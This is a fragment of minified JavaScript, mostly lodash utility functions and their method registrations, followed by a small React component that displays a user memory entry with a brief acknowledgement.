K3(z);if(oJ(l))TA="leading"in l?!!l.leading:TA,QA="trailing"in l?!!l.trailing:QA;return Hl(I,m,{leading:TA,maxWait:m,trailing:QA})}function D7(I){return VR(I,1)}function D5(I,m){return sA(gAA(m),I)}function n$(){if(!arguments.length)return[];var I=arguments[0];return c4(I)?I:[I]}function sAA(I){return dW(I,_)}function Eg(I,m){return m=typeof m=="function"?m:A,dW(I,_,m)}function L6(I){return dW(I,X|_)}function O6(I,m){return m=typeof m=="function"?m:A,dW(I,X|_,m)}function B6(I,m){return m==null||lYA(I,m,F_(m))}function B8(I,m){return I===m||I!==I&&m!==m}var sK=QAA(rYA),kH=QAA(function(I,m){return I>=m}),hK=p$(function(){return arguments}())?p$:function(I){return uO(I)&&Z9.call(I,"callee")&&!Nh.call(I,"callee")},c4=I6.isArray,xX=rq?YY(rq):JE;function oq(I){return I!=null&&biA(I.length)&&!kg(I)}function k2(I){return uO(I)&&oq(I)}function kL1(I){return I===!0||I===!1||uO(I)&&U$(I)==MA}var Jl=klA||BL1,jpK=G9?YY(G9):m_;function MpK(I){return uO(I)&&I.nodeType===1&&!_NA(I)}function PpK(I){if(I==null)return!0;if(oq(I)&&(c4(I)||typeof I=="string"||typeof I.splice=="function"||Jl(I)||y2A(I)||hK(I)))return!I.length;var m=u0(I);if(m==OA||m==LA)return!I.size;if(c$(I))return!bAA(I).length;for(var l in I)if(Z9.call(I,l))return!1;return!0}function VpK(I,m){return hAA(I,m)}function fpK(I,m,l){l=typeof l=="function"?l:A;var TA=l?l(I,m):A;return TA===A?hAA(I,m,A,l):!!TA}function CL1(I){if(!uO(I))return!1;var m=U$(I);return m==AA||m==yA||typeof I.message=="string"&&typeof I.name=="string"&&!_NA(I)}function NpK(I){return typeof I=="number"&&RAA(I)}function kg(I){if(!oJ(I))return!1;var m=U$(I);return m==wA||m==GA||m==jA||m==RA}function Sc6(I){return typeof I=="number"&&I==M3(I)}function biA(I){return typeof I=="number"&&I>-1&&I%1==0&&I<=r}function oJ(I){var m=typeof I;return I!=null&&(m=="object"||m=="function")}function uO(I){return I!=null&&typeof I=="object"}var hc6=CY?YY(CY):hX;function TpK(I,m){return I===m||fN(I,m,Lh(m))}function vpK(I,m,l){return l=typeof l=="function"?l:A,fN(I,m,Lh(m),l)}function EpK(I){return bc6(I)&&I!=+I}function kpK(I){if(mj(I))throw new F6(Y);return slA(I)}function CpK(I){return I===null}function LpK(I){return I==null}function bc6(I){return typeof I=="number"||uO(I)&&U$(I)==t}function _NA(I){if(!uO(I)||U$(I)!=VA)return!1;var m=vAA(I);if(m===null)return!0;var l=Z9.call(m,"constructor")&&m.constructor;return typeof l=="function"&&l instanceof l&&Vh.call(l)==Bc}var LL1=ww?YY(ww):rC1;function RpK(I){return Sc6(I)&&I>=-r&&I<=r}var xc6=e5?YY(e5):oC1;function xiA(I){return typeof I=="string"||!c4(I)&&uO(I)&&U$(I)==SA}function LN(I){return typeof I=="symbol"||uO(I)&&U$(I)==xA}var y2A=LY?YY(LY):aC1;function ypK(I){return I===A}function IpK(I){return uO(I)&&u0(I)==lA}function SpK(I){return uO(I)&&U$(I)==v1}var hpK=QAA(IfA),bpK=QAA(function(I,m){return I<=m});function uc6(I){if(!I)return[];if(oq(I))return xiA(I)?_Z(I):cW(I);if(Kg&&I[Kg])return VAA(I[Kg]());var m=u0(I),l=m==OA?fAA:m==LA?AE:I2A;return l(I)}function Cg(I){if(!I)return I===0?I:0;if(I=ZE(I),I===d||I===-d){var m=I<0?-1:1;return m*c}return I===I?I:0}function M3(I){var m=Cg(I),l=m%1;return m===m?l?m-l:m:0}function Bc6(I){return I?XR(M3(I),0,e):0}function ZE(I){if(typeof I=="number")return I;if(LN(I))return YA;if(oJ(I)){var m=typeof I.valueOf=="function"?I.valueOf():I;I=oJ(m)?m+"":m}if(typeof I!="string")return I===0?I:+I;I=cJ(I);var l=$9.test(I);return l||Yw.test(I)?S0(I.slice(2),l?2:8):vY.test(I)?YA:+I}function mc6(I){return $E(I,dP(I))}function xpK(I){return I?XR(M3(I),-r,r):I===0?I:0}function C2(I){return I==null?"":uj(I)}var upK=ic(function(I,m){if(c$(m)||oq(m)){$E(m,F_(m),I);return}for(var l in m)if(Z9.call(m,l))vh(I,l,m[l])}),gc6=ic(function(I,m){$E(m,dP(m),I)}),uiA=ic(function(I,m,l,TA){$E(m,dP(m),I,TA)}),BpK=ic(function(I,m,l,TA){$E(m,F_(m),I,TA)}),mpK=GR(wE);function gpK(I,m){var l=zg(I);return m==null?l:EfA(l,m)}var FpK=j3(function(I,m){I=f4(I);var l=-1,TA=m.length,QA=TA>2?m[2]:A;if(QA&&d$(m[0],m[1],QA))TA=1;while(++l<TA){var H1=m[l],V1=dP(H1),m1=-1,X6=V1.length;while(++m1<X6){var O8=V1[m1],W8=I[O8];if(W8===A||B8(W8,Hw[O8])&&!Z9.call(I,O8))I[O8]=H1[O8]}}return I}),QpK=j3(function(I){return I.push(A,UfA),v2(Fc6,A,I)});function UpK(I,m){return Ag(I,fK(m,3),HE)}function ppK(I,m){return Ag(I,fK(m,3),RfA)}function dpK(I,m){return I==null?I:iYA(I,fK(m,3),dP)}function cpK(I,m){return I==null?I:cc(I,fK(m,3),dP)}function lpK(I,m){return I&&HE(I,fK(m,3))}function ipK(I,m){return I&&RfA(I,fK(m,3))}function npK(I){return I==null?[]:nYA(I,F_(I))}function rpK(I){return I==null?[]:nYA(I,dP(I))}function RL1(I,m,l){var TA=I==null?A:Jg(I,m);return TA===A?l:TA}function opK(I,m){return I!=null&&pAA(I,m,oYA)}function yL1(I,m){return I!=null&&pAA(I,m,alA)}var apK=ViA(function(I,m,l){if(m!=null&&typeof m.toString!="function")m=zR.call(m);I[m]=l},SL1(cP)),spK=ViA(function(I,m,l){if(m!=null&&typeof m.toString!="function")m=zR.call(m);if(Z9.call(I,m))I[m].push(l);else I[m]=[l]},fK),tpK=j3(xj);function F_(I){return oq(I)?NfA(I):bAA(I)}function dP(I){return oq(I)?NfA(I,!0):elA(I)}function epK(I,m){var l={};return m=fK(m,3),HE(I,function(TA,QA,H1){zE(l,m(TA,QA,H1),TA)}),l}function AdK(I,m){var l={};return m=fK(m,3),HE(I,function(TA,QA,H1){zE(l,QA,m(TA,QA,H1))}),l}var KdK=ic(function(I,m,l){OE(I,m,l)}),Fc6=ic(function(I,m,l,TA){OE(I,m,l,TA)}),qdK=GR(function(I,m){var l={};if(I==null)return l;var TA=!1;if(m=Yq(m,function(H1){return H1=XE(H1,I),TA||(TA=H1.length>1),H1}),$E(I,H2A(I),l),TA)l=dW(l,X|$|_,DL1);var QA=m.length;while(QA--)BfA(l,m[QA]);return l});function YdK(I,m){return Qc6(I,p(fK(m)))}var zdK=GR(function(I,m){return I==null?{}:xAA(I,m)});function Qc6(I,m){if(I==null)return{};var l=Yq(H2A(I),function(TA){return[TA]});return m=fK(m),YiA(I,l,function(TA,QA){return m(TA,QA[0])})}function wdK(I,m,l){m=XE(m,I);var TA=-1,QA=m.length;if(!QA)QA=1,I=A;while(++TA<QA){var H1=I==null?A:I[l$(m[TA])];if(H1===A)TA=QA,H1=l;I=kg(H1)?H1.call(I):H1}return I}function HdK(I,m,l){return I==null?I:uAA(I,m,l)}function JdK(I,m,l,TA){return TA=typeof TA=="function"?TA:A,I==null?I:uAA(I,m,l,TA)}var Uc6=FfA(F_),pc6=FfA(dP);function OdK(I,m,l){var TA=c4(I),QA=TA||Jl(I)||y2A(I);if(m=fK(m,4),l==null){var H1=I&&I.constructor;if(QA)l=TA?new H1:[];else if(oJ(I))l=kg(H1)?zg(vAA(I)):{};else l={}}return(QA?s6:HE)(I,function(V1,m1,X6){return m(l,V1,m1,X6)}),l}function XdK(I,m){return I==null?!0:BfA(I,m)}function $dK(I,m,l){return I==null?I:mfA(I,m,gAA(l))}function _dK(I,m,l,TA){return TA=typeof TA=="function"?TA:A,I==null?I:mfA(I,m,gAA(l),TA)}function I2A(I){return I==null?[]:HJ(I,F_(I))}function GdK(I){return I==null?[]:HJ(I,dP(I))}function ZdK(I,m,l){if(l===A)l=m,m=A;if(l!==A)l=ZE(l),l=l===l?l:0;if(m!==A)m=ZE(m),m=m===m?m:0;return XR(ZE(I),m,l)}function WdK(I,m,l){if(m=Cg(m),l===A)l=m,m=0;else l=Cg(l);return I=ZE(I),iC1(I,m,l)}function DdK(I,m,l){if(l&&typeof l!="boolean"&&d$(I,m,l))m=l=A;if(l===A){if(typeof m=="boolean")l=m,m=A;else if(typeof I=="boolean")l=I,I=A}if(I===A&&m===A)I=0,m=1;else if(I=Cg(I),m===A)m=I,I=0;else m=Cg(m);if(I>m){var TA=I;I=m,m=TA}if(l||I%1||m%1){var QA=pW();return SX(I+QA*(m-I+u_("1e-"+((QA+"").length-1))),m)}return bfA(I,m)}var jdK=nc(function(I,m,l){return m=m.toLowerCase(),I+(l?dc6(m):m)});function dc6(I){return IL1(C2(I).toLowerCase())}function cc6(I){return I=C2(I),I&&I.replace(_9,bc).replace(bP,"")}function MdK(I,m,l){I=C2(I),m=uj(m);var TA=I.length;l=l===A?TA:XR(M3(l),0,TA);var QA=l;return l-=m.length,l>=0&&I.slice(l,QA)==m}function PdK(I){return I=C2(I),I&&T1.test(I)?I.replace(z1,PAA):I}function VdK(I){return I=C2(I),I&&u7.test(I)?I.replace(H4,"\\$&"):I}var fdK=nc(function(I,m,l){return I+(l?"-":"")+m.toLowerCase()}),NdK=nc(function(I,m,l){return I+(l?" ":"")+m.toLowerCase()}),TdK=jiA("toLowerCase");function vdK(I,m,l){I=C2(I),m=M3(m);var TA=m?KE(I):0;if(!m||TA>=m)return I;var QA=(m-TA)/2;return Y2A(LAA(QA),l)+I+Y2A(CAA(QA),l)}function EdK(I,m,l){I=C2(I),m=M3(m);var TA=m?KE(I):0;return m&&TA<m?I+Y2A(m-TA,l):I}function kdK(I,m,l){I=C2(I),m=M3(m);var TA=m?KE(I):0;return m&&TA<m?Y2A(m-TA,l)+I:I}function CdK(I,m,l){if(l||m==null)m=0;else if(m)m=+m;return MfA(C2(I).replace(s7,""),m||0)}function LdK(I,m,l){if(l?d$(I,m,l):m===A)m=1;else m=M3(m);return xfA(C2(I),m)}function RdK(){var I=arguments,m=C2(I[0]);return I.length<3?m:m.replace(I[1],I[2])}var ydK=nc(function(I,m,l){return I+(l?"_":"")+m.toLowerCase()});function IdK(I,m,l){if(l&&typeof l!="number"&&d$(I,m,l))m=l=A;if(l=l===A?e:l>>>0,!l)return[];if(I=C2(I),I&&(typeof m=="string"||m!=null&&!LL1(m))){if(m=uj(m),!m&&qR(I))return Ch(_Z(I),0,l)}return I.split(m,l)}var SdK=nc(function(I,m,l){return I+(l?" ":"")+IL1(m)});function hdK(I,m,l){return I=C2(I),l=l==null?0:XR(M3(l),0,I.length),m=uj(m),I.slice(l,l+m.length)==m}function bdK(I,m,l){var TA=Y1.templateSettings;if(l&&d$(I,m,l))m=A;I=C2(I),m=uiA({},m,TA,QfA);var QA=uiA({},m.imports,TA.imports,QfA),H1=F_(QA),V1=HJ(QA,H1),m1,X6,O8=0,W8=m.interpolate||kY,y8="__p += '",o4=h7((m.escape||kY).source+"|"+W8.source+"|"+(W8===e8?S3:kY).source+"|"+(m.evaluate||kY).source+"|$","g"),$K="//# sourceURL="+(Z9.call(m,"sourceURL")?(m.sourceURL+"").replace(/\s/g," "):"lodash.templateSources["+ ++R0+"]")+` `;I.replace(o4,function(fq,R9,zY,RN,Uj,yN){if(zY||(zY=RN),y8+=I.slice(O8,yN).replace(gq,mYA),R9)m1=!0,y8+=`' + __e(`+R9+`) + '`;if(Uj)X6=!0,y8+=`'; `+Uj+`; __p += '`;if(zY)y8+=`' + ((__t = (`+zY+`)) == null ? '' : __t) + '`;return O8=yN+fq.length,fq}),y8+=`'; `;var Vq=Z9.call(m,"variable")&&m.variable;if(!Vq)y8=`with (obj) { `+y8+` } `;else if(I3.test(Vq))throw new F6(w);y8=(X6?y8.replace(EA,""):y8).replace(rA,"$1").replace(J1,"$1;"),y8="function("+(Vq||"obj")+`) { `+(Vq?"":`obj || (obj = {}); `)+"var __t, __p = ''"+(m1?", __e = _.escape":"")+(X6?`, __j = Array.prototype.join; function print() { __p += __j.call(arguments, '') } `:`; `)+y8+`return __p }`;var u3=ic6(function(){return r6(H1,$K+"return "+y8).apply(A,V1)});if(u3.source=y8,CL1(u3))throw u3;return u3}function xdK(I){return C2(I).toLowerCase()}function udK(I){return C2(I).toUpperCase()}function BdK(I,m,l){if(I=C2(I),I&&(l||m===A))return cJ(I);if(!I||!(m=uj(m)))return I;var TA=_Z(I),QA=_Z(m),H1=IO(TA,QA),V1=KR(TA,QA)+1;return Ch(TA,H1,V1).join("")}function mdK(I,m,l){if(I=C2(I),I&&(l||m===A))return I.slice(0,uc(I)+1);if(!I||!(m=uj(m)))return I;var TA=_Z(I),QA=KR(TA,_Z(m))+1;return Ch(TA,0,QA).join("")}function gdK(I,m,l){if(I=C2(I),I&&(l||m===A))return I.replace(s7,"");if(!I||!(m=uj(m)))return I;var TA=_Z(I),QA=IO(TA,_Z(m));return Ch(TA,QA).join("")}function FdK(I,m){var l=x,TA=y;if(oJ(m)){var QA="separator"in m?m.separator:QA;l="length"in m?M3(m.length):l,TA="omission"in m?uj(m.omission):TA}I=C2(I);var H1=I.length;if(qR(I)){var V1=_Z(I);H1=V1.length}if(l>=H1)return I;var m1=l-KE(TA);if(m1<1)return TA;var X6=V1?Ch(V1,0,m1).join(""):I.slice(0,m1);if(QA===A)return X6+TA;if(V1)m1+=X6.length-m1;if(LL1(QA)){if(I.slice(m1).search(QA)){var O8,W8=X6;if(!QA.global)QA=h7(QA.source,C2(dY.exec(QA))+"g");QA.lastIndex=0;while(O8=QA.exec(W8))var y8=O8.index;X6=X6.slice(0,y8===A?m1:y8)}}else if(I.indexOf(uj(QA),m1)!=m1){var o4=X6.lastIndexOf(QA);if(o4>-1)X6=X6.slice(0,o4)}return X6+TA}function QdK(I){return I=C2(I),I&&f1.test(I)?I.replace(aA,FYA):I}var UdK=nc(function(I,m,l){return I+(l?" ":"")+m.toUpperCase()}),IL1=jiA("toUpperCase");function lc6(I,m,l){if(I=C2(I),m=l?A:m,m===A)return PN(I)?qz(I):Dh(I);return I.match(m)||[]}var ic6=j3(function(I,m){try{return v2(I,A,m)}catch(l){return CL1(l)?l:new F6(l)}}),pdK=GR(function(I,m){return s6(m,function(l){l=l$(l),zE(I,l,CN(I[l],I))}),I});function ddK(I){var m=I==null?0:I.length,l=fK();return I=!m?[]:Yq(I,function(TA){if(typeof TA[1]!="function")throw new K3(z);return[l(TA[0]),TA[1]]}),j3(function(TA){var QA=-1;while(++QA<m){var H1=I[QA];if(v2(H1[0],this,TA))return v2(H1[1],this,TA)}})}function cdK(I){return CfA(dW(I,X))}function SL1(I){return function(){return I}}function ldK(I,m){return I==null||I!==I?m:I}var idK=PiA(),ndK=PiA(!0);function cP(I){return I}function hL1(I){return tlA(typeof I=="function"?I:dW(I,X))}function rdK(I){return AiA(dW(I,X))}function odK(I,m){return Xg(I,dW(m,X))}var adK=j3(function(I,m){return function(l){return xj(l,I,m)}}),sdK=j3(function(I,m){return function(l){return xj(I,l,m)}});function bL1(I,m,l){var TA=F_(m),QA=nYA(m,TA);if(l==null&&!(oJ(m)&&(QA.length||!TA.length)))l=m,m=I,I=this,QA=nYA(m,F_(m));var H1=!(oJ(l)&&("chain"in l))||!!l.chain,V1=kg(I);return s6(QA,function(m1){var X6=m[m1];if(I[m1]=X6,V1)I.prototype[m1]=function(){var O8=this.__chain__;if(H1||O8){var W8=I(this.__wrapped__),y8=W8.__actions__=cW(this.__actions__);return y8.push({func:X6,args:arguments,thisArg:I}),W8.__chain__=O8,W8}return X6.apply(I,hz([this.value()],arguments))}}),I}function tdK(){if(x3._===this)x3._=QW;return this}function xL1(){}function edK(I){return I=M3(I),j3(function(m){return KiA(m,I)})}var AcK=q2A(Yq),KcK=q2A(t7),qcK=q2A(B$);function nc6(I){return lfA(I)?W6(l$(I)):tC1(I)}function YcK(I){return function(m){return I==null?A:Jg(I,m)}}var zcK=gP(),wcK=gP(!0);function uL1(){return[]}function BL1(){return!1}function HcK(){return{}}function JcK(){return""}function OcK(){return!0}function XcK(I,m){if(I=M3(I),I<1||I>r)return[];var l=e,TA=SX(I,e);m=fK(m),I-=e;var QA=qY(TA,m);while(++l<I)m(l);return QA}function $cK(I){if(c4(I))return Yq(I,l$);return LN(I)?[I]:cW(oc(C2(I)))}function _cK(I){var m=++fh;return C2(I)+m}var GcK=K2A(function(I,m){return I+m},0),ZcK=w2A("ceil"),WcK=K2A(function(I,m){return I/m},1),DcK=w2A("floor");function jcK(I){return I&&I.length?Hg(I,cP,rYA):A}function McK(I,m){return I&&I.length?Hg(I,fK(m,2),rYA):A}function PcK(I){return D1(I,cP)}function VcK(I,m){return D1(I,fK(m,2))}function fcK(I){return I&&I.length?Hg(I,cP,IfA):A}function NcK(I,m){return I&&I.length?Hg(I,fK(m,2),IfA):A}var TcK=K2A(function(I,m){return I*m},1),vcK=w2A("round"),EcK=K2A(function(I,m){return I-m},0);function kcK(I){return I&&I.length?J5(I,cP):0}function CcK(I,m){return I&&I.length?J5(I,fK(m,2)):0}if(Y1.after=B0,Y1.ary=VR,Y1.assign=upK,Y1.assignIn=gc6,Y1.assignInWith=uiA,Y1.assignWith=BpK,Y1.at=mpK,Y1.before=vg,Y1.bind=CN,Y1.bindAll=pdK,Y1.bindKey=L2A,Y1.castArray=n$,Y1.chain=wNA,Y1.chunk=L9,Y1.compact=Rh,Y1.concat=QP,Y1.cond=ddK,Y1.conforms=cdK,Y1.constant=SL1,Y1.countBy=E2A,Y1.create=gpK,Y1.curry=R2A,Y1.curryRight=XNA,Y1.debounce=Hl,Y1.defaults=FpK,Y1.defaultsDeep=QpK,Y1.defer=$NA,Y1.delay=E,Y1.difference=afA,Y1.differenceBy=$2A,Y1.differenceWith=Wg,Y1.drop=WR,Y1.dropRight=VL1,Y1.dropRightWhile=fL1,Y1.dropWhile=NL1,Y1.fill=vH,Y1.filter=EL1,Y1.flatMap=i3,Y1.flatMapDeep=W9,Y1.flatMapDepth=H2,Y1.flatten=_2A,Y1.flattenDeep=G2A,Y1.flattenDepth=sfA,Y1.flip=L,Y1.flow=idK,Y1.flowRight=ndK,Y1.fromPairs=jg,Y1.functions=npK,Y1.functionsIn=rpK,Y1.groupBy=zl,Y1.initial=sc,Y1.intersection=tc,Y1.intersectionBy=yiA,Y1.intersectionWith=Mg,Y1.invert=apK,Y1.invertBy=spK,Y1.invokeMap=PR,Y1.iteratee=hL1,Y1.keyBy=JJ,Y1.keys=F_,Y1.keysIn=dP,Y1.map=EN,Y1.mapKeys=epK,Y1.mapValues=AdK,Y1.matches=rdK,Y1.matchesProperty=odK,Y1.memoize=g,Y1.merge=KdK,Y1.mergeWith=Fc6,Y1.method=adK,Y1.methodOf=sdK,Y1.mixin=bL1,Y1.negate=p,Y1.nthArg=edK,Y1.omit=qdK,Y1.omitBy=YdK,Y1.once=zA,Y1.orderBy=Tg,Y1.over=AcK,Y1.overArgs=PA,Y1.overEvery=KcK,Y1.overSome=qcK,Y1.partial=sA,Y1.partialRight=y1,Y1.partition=JNA,Y1.pick=zdK,Y1.pickBy=Qc6,Y1.property=nc6,Y1.propertyOf=YcK,Y1.pull=Pg,Y1.pullAll=Vg,Y1.pullAllBy=lAA,Y1.pullAllWith=fg,Y1.pullAt=IiA,Y1.range=zcK,Y1.rangeRight=wcK,Y1.rearg=g6,Y1.reject=oAA,Y1.remove=UP,Y1.rest=k8,Y1.reverse=yh,Y1.sampleSize=ONA,Y1.set=HdK,Y1.setWith=JdK,Y1.shuffle=k2A,Y1.slice=efA,Y1.sortBy=C2A,Y1.sortedUniq=rJ,Y1.sortedUniqBy=DR,Y1.split=IdK,Y1.spread=S4,Y1.tail=L5,Y1.take=E2,Y1.takeRight=hO,Y1.takeRightWhile=j2A,Y1.takeWhile=Kl,Y1.tap=bX,Y1.throttle=J4,Y1.thru=EH,Y1.toArray=uc6,Y1.toPairs=Uc6,Y1.toPairsIn=pc6,Y1.toPath=$cK,Y1.toPlainObject=mc6,Y1.transform=OdK,Y1.unary=D7,Y1.union=Ng,Y1.unionBy=M2A,Y1.unionWith=iAA,Y1.uniq=ql,Y1.uniqBy=TL1,Y1.uniqWith=nAA,Y1.unset=XdK,Y1.unzip=P2A,Y1.unzipWith=V2A,Y1.update=$dK,Y1.updateWith=_dK,Y1.values=I2A,Y1.valuesIn=GdK,Y1.without=SiA,Y1.words=lc6,Y1.wrap=D5,Y1.xor=KNA,Y1.xorBy=qNA,Y1.xorWith=bO,Y1.zip=YNA,Y1.zipObject=jR,Y1.zipObjectDeep=xO,Y1.zipWith=zNA,Y1.entries=Uc6,Y1.entriesIn=pc6,Y1.extend=gc6,Y1.extendWith=uiA,bL1(Y1,Y1),Y1.add=GcK,Y1.attempt=ic6,Y1.camelCase=jdK,Y1.capitalize=dc6,Y1.ceil=ZcK,Y1.clamp=ZdK,Y1.clone=sAA,Y1.cloneDeep=L6,Y1.cloneDeepWith=O6,Y1.cloneWith=Eg,Y1.conformsTo=B6,Y1.deburr=cc6,Y1.defaultTo=ldK,Y1.divide=WcK,Y1.endsWith=MdK,Y1.eq=B8,Y1.escape=PdK,Y1.escapeRegExp=VdK,Y1.every=rAA,Y1.find=l3,Y1.findIndex=cAA,Y1.findKey=UpK,Y1.findLast=zz,Y1.findLastIndex=Dg,Y1.findLastKey=ppK,Y1.floor=DcK,Y1.forEach=rW,Y1.forEachRight=MR,Y1.forIn=dpK,Y1.forInRight=cpK,Y1.forOwn=lpK,Y1.forOwnRight=ipK,Y1.get=RL1,Y1.gt=sK,Y1.gte=kH,Y1.has=opK,Y1.hasIn=yL1,Y1.head=ac,Y1.identity=cP,Y1.includes=HNA,Y1.indexOf=tfA,Y1.inRange=WdK,Y1.invoke=tpK,Y1.isArguments=hK,Y1.isArray=c4,Y1.isArrayBuffer=xX,Y1.isArrayLike=oq,Y1.isArrayLikeObject=k2,Y1.isBoolean=kL1,Y1.isBuffer=Jl,Y1.isDate=jpK,Y1.isElement=MpK,Y1.isEmpty=PpK,Y1.isEqual=VpK,Y1.isEqualWith=fpK,Y1.isError=CL1,Y1.isFinite=NpK,Y1.isFunction=kg,Y1.isInteger=Sc6,Y1.isLength=biA,Y1.isMap=hc6,Y1.isMatch=TpK,Y1.isMatchWith=vpK,Y1.isNaN=EpK,Y1.isNative=kpK,Y1.isNil=LpK,Y1.isNull=CpK,Y1.isNumber=bc6,Y1.isObject=oJ,Y1.isObjectLike=uO,Y1.isPlainObject=_NA,Y1.isRegExp=LL1,Y1.isSafeInteger=RpK,Y1.isSet=xc6,Y1.isString=xiA,Y1.isSymbol=LN,Y1.isTypedArray=y2A,Y1.isUndefined=ypK,Y1.isWeakMap=IpK,Y1.isWeakSet=SpK,Y1.join=ec,Y1.kebabCase=fdK,Y1.last=iW,Y1.lastIndexOf=Z2A,Y1.lowerCase=NdK,Y1.lowerFirst=TdK,Y1.lt=hpK,Y1.lte=bpK,Y1.max=jcK,Y1.maxBy=McK,Y1.mean=PcK,Y1.meanBy=VcK,Y1.min=fcK,Y1.minBy=NcK,Y1.stubArray=uL1,Y1.stubFalse=BL1,Y1.stubObject=HcK,Y1.stubString=JcK,Y1.stubTrue=OcK,Y1.multiply=TcK,Y1.nth=W2A,Y1.noConflict=tdK,Y1.noop=xL1,Y1.now=kN,Y1.pad=vdK,Y1.padEnd=EdK,Y1.padStart=kdK,Y1.parseInt=CdK,Y1.random=DdK,Y1.reduce=Qj,Y1.reduceRight=wl,Y1.repeat=LdK,Y1.replace=RdK,Y1.result=wdK,Y1.round=vcK,Y1.runInContext=a1,Y1.sample=oW,Y1.size=hiA,Y1.snakeCase=ydK,Y1.some=aAA,Y1.sortedIndex=Ih,Y1.sortedIndexBy=ANA,Y1.sortedIndexOf=Al,Y1.sortedLastIndex=D2A,Y1.sortedLastIndexBy=Fj,Y1.sortedLastIndexOf=pP,Y1.startCase=SdK,Y1.startsWith=hdK,Y1.subtract=EcK,Y1.sum=kcK,Y1.sumBy=CcK,Y1.template=bdK,Y1.times=XcK,Y1.toFinite=Cg,Y1.toInteger=M3,Y1.toLength=Bc6,Y1.toLower=xdK,Y1.toNumber=ZE,Y1.toSafeInteger=xpK,Y1.toString=C2,Y1.toUpper=udK,Y1.trim=BdK,Y1.trimEnd=mdK,Y1.trimStart=gdK,Y1.truncate=FdK,Y1.unescape=QdK,Y1.uniqueId=_cK,Y1.upperCase=UdK,Y1.upperFirst=IL1,Y1.each=rW,Y1.eachRight=MR,Y1.first=ac,bL1(Y1,function(){var I={};return HE(Y1,function(m,l){if(!Z9.call(Y1.prototype,l))I[l]=m}),I}(),{chain:!1}),Y1.VERSION=K,s6(["bind","bindKey","curry","curryRight","partial","partialRight"],function(I){Y1[I].placeholder=Y1}),s6(["drop","take"],function(I,m){D3.prototype[I]=function(l){l=l===A?1:iJ(M3(l),0);var TA=this.__filtered__&&!m?new D3(this):this.clone();if(TA.__filtered__)TA.__takeCount__=SX(l,TA.__takeCount__);else TA.__views__.push({size:SX(l,e),type:I+(TA.__dir__<0?"Right":"")});return TA},D3.prototype[I+"Right"]=function(l){return this.reverse()[I](l).reverse()}}),s6(["filter","map","takeWhile"],function(I,m){var l=m+1,TA=l==F||l==u;D3.prototype[I]=function(QA){var H1=this.clone();return H1.__iteratees__.push({iteratee:fK(QA,3),type:l}),H1.__filtered__=H1.__filtered__||TA,H1}}),s6(["head","last"],function(I,m){var l="take"+(m?"Right":"");D3.prototype[I]=function(){return this[l](1).value()[0]}}),s6(["initial","tail"],function(I,m){var l="drop"+(m?"":"Right");D3.prototype[I]=function(){return this.__filtered__?new D3(this):this[l](1)}}),D3.prototype.compact=function(){return this.filter(cP)},D3.prototype.find=function(I){return this.filter(I).head()},D3.prototype.findLast=function(I){return this.reverse().find(I)},D3.prototype.invokeMap=j3(function(I,m){if(typeof I=="function")return new D3(this);return this.map(function(l){return xj(l,I,m)})}),D3.prototype.reject=function(I){return this.filter(p(fK(I)))},D3.prototype.slice=function(I,m){I=M3(I);var l=this;if(l.__filtered__&&(I>0||m<0))return new D3(l);if(I<0)l=l.takeRight(-I);else if(I)l=l.drop(I);if(m!==A)m=M3(m),l=m<0?l.dropRight(-m):l.take(m-I);return l},D3.prototype.takeRightWhile=function(I){return this.reverse().takeWhile(I).reverse()},D3.prototype.toArray=function(){return this.take(e)},HE(D3.prototype,function(I,m){var l=/^(?:filter|find|map|reject)|While$/.test(m),TA=/^(?:head|last)$/.test(m),QA=Y1[TA?"take"+(m=="last"?"Right":""):m],H1=TA||/^find/.test(m);if(!QA)return;Y1.prototype[m]=function(){var V1=this.__wrapped__,m1=TA?[1]:arguments,X6=V1 instanceof D3,O8=m1[0],W8=X6||c4(V1),y8=function(R9){var zY=QA.apply(Y1,hz([R9],m1));return TA&&o4?zY[0]:zY};if(W8&&l&&typeof O8=="function"&&O8.length!=1)X6=W8=!1;var o4=this.__chain__,$K=!!this.__actions__.length,Vq=H1&&!o4,u3=X6&&!$K;if(!H1&&W8){V1=u3?V1:new D3(this);var fq=I.apply(V1,m1);return fq.__actions__.push({func:EH,args:[y8],thisArg:A}),new F$(fq,o4)}if(Vq&&u3)return I.apply(this,m1);return fq=this.thru(y8),Vq?TA?fq.value()[0]:fq.value():fq}}),s6(["pop","push","shift","sort","splice","unshift"],function(I){var m=d3[I],l=/^(?:push|sort|unshift)$/.test(I)?"tap":"thru",TA=/^(?:pop|shift)$/.test(I);Y1.prototype[I]=function(){var QA=arguments;if(TA&&!this.__chain__){var H1=this.value();return m.apply(c4(H1)?H1:[],QA)}return this[l](function(V1){return m.apply(c4(V1)?V1:[],QA)})}}),HE(D3.prototype,function(I,m){var l=Y1[m];if(l){var TA=l.name+"";if(!Z9.call(VN,TA))VN[TA]=[];VN[TA].push({name:m,func:l})}}),VN[A2A(A,D).name]=[{name:"wrapper",func:A}],D3.prototype.clone=xlA,D3.prototype.reverse=ulA,D3.prototype.value=BlA,Y1.prototype.at=nW,Y1.prototype.chain=vN,Y1.prototype.commit=Yl,Y1.prototype.next=vL1,Y1.prototype.plant=N2A,Y1.prototype.reverse=T2A,Y1.prototype.toJSON=Y1.prototype.valueOf=Y1.prototype.value=v2A,Y1.prototype.first=Y1.prototype.head,Kg)Y1.prototype[Kg]=f2A;return Y1},qE=DfA();if(typeof define=="function"&&typeof define.amd=="object"&&define.amd)x3._=qE,define(function(){return qE});else if(h0)(h0.exports=qE)._=qE,IX._=qE;else x3._=qE}).call(MQA)});function XD2(){return k4K.sample(["Got it.","Good to know.","Noted."])}function C4K(A){let K=s(10),{text:q,addMargin:Y}=A,z;if(K[0]!==q)z=i7(q,"user-memory-input"),K[0]=q,K[1]=z;else z=K[1];let w=z,H;if(K[2]===Symbol.for("react.memo_cache_sentinel"))H=XD2(),K[2]=H;else H=K[2];let J=H;if(!w)return null;let O=Y?1:0,X;if(K[3]===Symbol.for("react.memo_cache_sentinel"))X=Mv.createElement(V,{color:"remember",backgroundColor:"memoryBackgroundColor"},"#"),K[3]=X;else X=K[3];let $;if(K[4]!==w)$=Mv.createElement(S,null,X,Mv.createElement(V,{backgroundColor:"memoryBackgroundColor",color:"text"}," ",w," ")),K[4]=w,K[5]=$;else $=K[5];let _;if(K[6]===Symbol.for("react.memo_cache_sentinel"))_=Mv.createElement(k6,{height:1},Mv.createElement(V,{dimColor:!0},J)),K[6]=_;else _=K[6];let G;if(K[7]!==O||K[8]!==$)G=Mv.createElement(S,{flexDirection:"column",marginTop:O,width:"100%"},$,_),K[7]=O,K[8]=$,K[9]=G;else G=K[9];return G}var Mv,k4K;var 